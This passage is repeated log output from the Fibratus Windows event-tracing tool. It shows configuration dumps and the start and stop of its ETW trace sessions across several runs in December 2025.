method=>POST serializer=>json tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s enabled=>false] amqp=>[ enabled=>false exchange=>fibratus timeout=>5s durable=>false url=>amqp://localhost:5672 exchange-type=>topic delivery-mode=>transient passive=>false vhost=>/ routing-key=>fibratus tls-insecure-skip-verify=>false] elasticsearch=>[ flush-period=>1s servers=>[http://127.0.0.1:9200] sniff=>false index-name=>fibratus timeout=>5s trace-log=>false enabled=>false healthcheck-interval=>10s template-name=>fibratus healthcheck=>true healthcheck-timeout=>5s gzip-compression=>false bulk-workers=>1] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] fastscan=>true excluded-procs=>[] skip-registry=>false enabled=>false scan-timeout=>10s skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-10T20:33:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T20:33:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T20:33:21+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T20:33:21+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T20:33:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T13:24:23+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T13:24:23+01:00 level=info msg=bootstrapping with pid 2940. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T13:24:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html enabled=>false use-template=>true to=>[] port=>25] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ max-buffers=>36 enable-mem=>false enable-registry=>true min-buffers=>16 enable-thread=>true flush-interval=>1s enable-threadpool=>false enable-audit-api=>true stack-enrichment=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-image=>true enable-vamap=>true enable-handle=>false enable-dns=>false buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-age=>0 level=>info formatter=>text max-backups=>15] + output ......................... [ http=>[ enable-gzip=>false method=>POST tls-insecure-skip-verify=>false endpoints=>[] serializer=>json timeout=>5s enabled=>false] elasticsearch=>[ bulk-workers=>1 healthcheck-timeout=>5s sniff=>false index-name=>fibratus enabled=>false template-name=>fibratus healthcheck=>true gzip-compression=>false flush-period=>1s timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s trace-log=>false] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] amqp=>[ url=>amqp://localhost:5672 timeout=>5s delivery-mode=>transient tls-insecure-skip-verify=>false exchange=>fibratus enabled=>false exchange-type=>topic durable=>false routing-key=>fibratus passive=>false vhost=>/]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-files=>false fastscan=>true enabled=>false skip-allocs=>false skip-mmaps=>false excluded-procs=>[] skip-registry=>false excluded-files=>[] scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-12-11T13:24:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T13:24:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T13:24:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T13:24:43+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T13:24:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T13:30:25+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T13:30:25+01:00 level=info msg=bootstrapping with pid 8020. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T13:30:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] mail=>[ use-template=>true port=>25 to=>[] content-type=>text/html enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-registry=>true enable-image=>true max-buffers=>36 enable-net=>true enable-fileio=>true enable-mem=>false enable-handle=>false flush-interval=>1s stack-enrichment=>true enable-thread=>true enable-vamap=>true buffer-size=>512 enable-threadpool=>false enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text log-stdout=>true level=>info max-size=>100 max-age=>0] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false] amqp=>[ tls-insecure-skip-verify=>false timeout=>5s durable=>false routing-key=>fibratus exchange=>fibratus delivery-mode=>transient enabled=>false passive=>false vhost=>/ url=>amqp://localhost:5672 exchange-type=>topic] elasticsearch=>[ template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s index-name=>fibratus trace-log=>false enabled=>false flush-period=>1s timeout=>5s sniff=>false healthcheck=>true bulk-workers=>1 gzip-compression=>false healthcheck-timeout=>5s] http=>[ timeout=>5s enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false endpoints=>[] serializer=>json method=>POST]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false excluded-files=>[] skip-allocs=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] enabled=>false fastscan=>true skip-files=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T13:30:25+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T13:30:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T13:30:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T13:30:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T13:30:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T14:11:53+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T14:11:53+01:00 level=info msg=bootstrapping with pid 17268. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T14:11:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true to=>[] content-type=>text/html port=>25] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-registry=>true enable-mem=>false max-buffers=>36 buffer-size=>512 enable-image=>true min-buffers=>16 enable-net=>true enable-fileio=>true enable-thread=>true enable-audit-api=>true enable-threadpool=>false stack-enrichment=>true enable-dns=>false enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-backups=>15 level=>info max-age=>0 formatter=>text] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] http=>[ serializer=>json endpoints=>[] tls-insecure-skip-verify=>false method=>POST enabled=>false timeout=>5s enable-gzip=>false] elasticsearch=>[ sniff=>false enabled=>false healthcheck=>true bulk-workers=>1 gzip-compression=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] index-name=>fibratus template-name=>fibratus trace-log=>false healthcheck-timeout=>5s flush-period=>1s timeout=>5s] eventlog=>[ level=>info enabled=>false] amqp=>[ url=>amqp://localhost:5672 exchange=>fibratus enabled=>false tls-insecure-skip-verify=>false durable=>false timeout=>5s vhost=>/ passive=>false exchange-type=>topic routing-key=>fibratus delivery-mode=>transient]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] scan-timeout=>10s fastscan=>true skip-allocs=>false skip-mmaps=>false enabled=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T14:11:54+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T14:12:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T14:13:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T14:13:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T14:13:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T14:13:59+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T14:13:59+01:00 level=info msg=bootstrapping with pid 9212. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T14:13:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html use-template=>true to=>[] enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-registry=>true flush-interval=>1s enable-vamap=>true min-buffers=>16 enable-threadpool=>false buffer-size=>512 enable-mem=>false enable-handle=>false max-buffers=>36 enable-dns=>false stack-enrichment=>true enable-audit-api=>true enable-fileio=>true enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 level=>info log-stdout=>true max-size=>100 formatter=>text max-age=>0] + output ......................... [ amqp=>[ vhost=>/ timeout=>5s delivery-mode=>transient exchange=>fibratus enabled=>false routing-key=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic durable=>false url=>amqp://localhost:5672 passive=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck-timeout=>5s index-name=>fibratus template-name=>fibratus trace-log=>false timeout=>5s healthcheck=>true sniff=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] flush-period=>1s enabled=>false bulk-workers=>1 gzip-compression=>false] http=>[ serializer=>json tls-insecure-skip-verify=>false timeout=>5s enabled=>false method=>POST enable-gzip=>false endpoints=>[]]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] scan-timeout=>10s excluded-procs=>[] enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false skip-allocs=>false skip-mmaps=>false skip-registry=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-12-11T14:14:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T14:14:09+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T14:57:04+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T14:57:04+01:00 level=info msg=bootstrapping with pid 12788. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T14:57:04+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ content-type=>text/html use-template=>true to=>[] enabled=>false port=>25] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ flush-interval=>1s buffer-size=>512 enable-image=>true enable-registry=>true enable-fileio=>true enable-vamap=>true enable-thread=>true enable-handle=>false stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-net=>true max-buffers=>36 min-buffers=>16 enable-threadpool=>false enable-audit-api=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 max-age=>0 max-size=>100 level=>info formatter=>text] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ trace-log=>false flush-period=>1s healthcheck-interval=>10s sniff=>false template-name=>fibratus healthcheck-timeout=>5s bulk-workers=>1 index-name=>fibratus enabled=>false gzip-compression=>false healthcheck=>true timeout=>5s servers=>[http://127.0.0.1:9200]] http=>[ serializer=>json endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false method=>POST enabled=>false] amqp=>[ delivery-mode=>transient tls-insecure-skip-verify=>false timeout=>5s routing-key=>fibratus passive=>false exchange-type=>topic enabled=>false exchange=>fibratus vhost=>/ durable=>false url=>amqp://localhost:5672] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-allocs=>false skip-mmaps=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-registry=>false excluded-procs=>[] fastscan=>true scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-12-11T14:57:04+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T14:57:05+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T14:57:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T14:57:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T14:57:45+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T15:07:21+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T15:07:21+01:00 level=info msg=bootstrapping with pid 11136. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T15:07:21+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 flush-interval=>1s enable-image=>true enable-threadpool=>false enable-registry=>true enable-handle=>false min-buffers=>16 enable-dns=>false max-buffers=>36 enable-net=>true enable-audit-api=>true enable-vamap=>true enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-fileio=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 max-age=>0 formatter=>text max-backups=>15 log-stdout=>true] + output ......................... [ amqp=>[ enabled=>false durable=>false url=>amqp://localhost:5672 exchange=>fibratus vhost=>/ tls-insecure-skip-verify=>false routing-key=>fibratus timeout=>5s passive=>false delivery-mode=>transient exchange-type=>topic] elasticsearch=>[ healthcheck=>true sniff=>false timeout=>5s enabled=>false index-name=>fibratus flush-period=>1s trace-log=>false gzip-compression=>false healthcheck-interval=>10s healthcheck-timeout=>5s bulk-workers=>1 servers=>[http://127.0.0.1:9200] template-name=>fibratus] http=>[ enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false endpoints=>[] serializer=>json method=>POST timeout=>5s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-files=>false excluded-procs=>[] skip-allocs=>false skip-registry=>false scan-timeout=>10s fastscan=>true skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T15:07:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T15:07:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T15:07:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T15:07:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T15:07:40+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T15:08:18+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T15:08:18+01:00 level=info msg=bootstrapping with pid 14344. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T15:08:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false content-type=>text/html port=>25 to=>[] use-template=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-handle=>false enable-dns=>false min-buffers=>16 enable-net=>true enable-registry=>true stack-enrichment=>true enable-image=>true buffer-size=>512 enable-mem=>false flush-interval=>1s max-buffers=>36 enable-threadpool=>false enable-fileio=>true enable-vamap=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true max-age=>0 max-backups=>15 level=>info max-size=>100] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] amqp=>[ url=>amqp://localhost:5672 durable=>false delivery-mode=>transient timeout=>5s routing-key=>fibratus vhost=>/ enabled=>false exchange-type=>topic passive=>false tls-insecure-skip-verify=>false exchange=>fibratus] elasticsearch=>[ bulk-workers=>1 index-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false flush-period=>1s timeout=>5s healthcheck-interval=>10s sniff=>false enabled=>false healthcheck-timeout=>5s gzip-compression=>false healthcheck=>true template-name=>fibratus] http=>[ method=>POST endpoints=>[] enabled=>false timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-procs=>[] enabled=>false skip-registry=>false excluded-files=>[] skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s fastscan=>true skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T15:08:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T15:08:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T15:16:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T15:16:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T15:16:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T15:29:17+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T15:29:17+01:00 level=info msg=bootstrapping with pid 12292. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T15:29:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true port=>25 enabled=>false content-type=>text/html to=>[]] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-vamap=>true enable-threadpool=>false enable-thread=>true enable-audit-api=>true enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-fileio=>true min-buffers=>16 enable-image=>true max-buffers=>36 flush-interval=>1s enable-net=>true stack-enrichment=>true enable-mem=>false buffer-size=>512 enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 log-stdout=>true formatter=>text max-age=>0 level=>info] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck-interval=>10s timeout=>5s enabled=>false flush-period=>1s trace-log=>false index-name=>fibratus 